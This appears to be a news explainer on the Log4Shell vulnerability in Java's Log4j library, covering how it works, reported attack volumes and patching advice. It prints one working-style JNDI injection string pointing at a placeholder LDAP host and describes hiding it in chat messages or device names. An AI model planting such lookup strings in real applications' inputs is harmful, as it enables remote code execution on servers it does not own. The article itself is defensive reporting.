A critical vulnerability in a widely used open-source library for Java puts the global IT landscape on alert. The likelihood that your environment is affected has rarely been more significant. Solving starts with understanding. As such, we explore the problem with the Log4j vulnerability known as Log4Shell.

On December 9, Alibaba’s cloud security team raised the alarm. The team found a severe vulnerability in Log4j. Developers use the open-source library for Java to log events in Java applications. The vulnerability has since been named Log4Shell: a worryingly simple method for executing code in Java applications.

How does Log4j work?

Log4j is used for a massive amount of platforms, apps and services. Software from Cisco, IBM, VMware, Fortinet and Red Hat are some of many examples. While the precise application of the library varies, the recording of events in applications consistently plays a central role. Think of logging the identity of users and login attempts.

After an application processes an event, Log4j spins out data. The programmer of the application determines which data. For example, the username of an attempted login. Or the time at which a user logs in.

The vulnerability that Alibaba’s security team stumbled upon stems from an interaction between the Java programming language and the Log4j library. Java, in combination with Log4j, is capable of executing code stored at a remote server. To do this, programmers leverage the following string: ${jndi:ldap://example.com/ofanurl}. The URL in this example is replaceable with the address of a server of choosing. When executing the string in a Java application, the application will attempt to execute the data from the specified URL.

This is not a vulnerability per se. In a practical scenario, only an authorized administrator should be able to insert a string for execution. The problem starts with Log4j. When Log4j declares a log containing the string, Java interprets the string as if it was purposefully inserted into the application by a developer.

Suppose Log4j is set to log the contents of a chat message on an online game. A user of the game sends the string in a chat message. The URL points to a server with instructions for executing a malware application. Log4j logs the string. Java interprets a command and executes it as told. The user succeeds in hacking the server — without ever having to obtain a single password.

The damage of Log4j

At this point, no one seems to know exactly how much damage the vulnerability has done and may yet do. It’s gone unnoticed by users of Log4j for years. At this stage, it is impossible to determine which attacks were brought about by the vulnerability since 2013, the year of the first vulnerable release. However, we do know that cybercriminals have been conducting massive and targeted searches for targets since the vulnerability was disclosed.

Multiple security organizations, including Check Point Software, underscore the latter. The organization says it has observed 400,000 attempted exploits in three days. Furthermore, its research division states that cybercriminals scouted 31.5 percent of all global corporate networks to determine vulnerability to Log4Shell.

Who is at risk?

The above threat affects any Java application that logs a user’s input via Log4j. Such applications are extremely common. Apple iCloud is a prominent example. Log4j for example logs the names of iPhones somewhere in Apple’s iCloud. Changing an iPhone name to the aforementioned string proved more than enough to infiltrate iCloud’s servers.

Furthermore, a significant amount of hosting services log browser names to determine the browser used by a connecting user. The popularity of Log4j is near impossible to measure, it is estimated that the library is found in the software of most business environments.

What now?

Every Log4j version published between September 13, 2013 and December 5, 2021 is vulnerable. The Apache Software Foundation, developer of Log4j, published an emergency patch to fix the vulnerability.

On a technical level, the vulnerability is as easy to solve as it is to exploit. A patch of the library is sufficient. The biggest problem is practical in nature. Log4j is used so frequently that organizations don’t know exactly where the library runs. Most global cybersecurity authorities recommend doing an inventory of applications that use Log4j. Afterwards, updating the application with the official patch is the advisable course. If the supplier of an application does not yet provide an updated version, disabling it is the sole safe option.

At this time, the web is full of alternative solutions and methods. Be wary. Given the novelty of the vulnerability, we advise against anything but an official patch.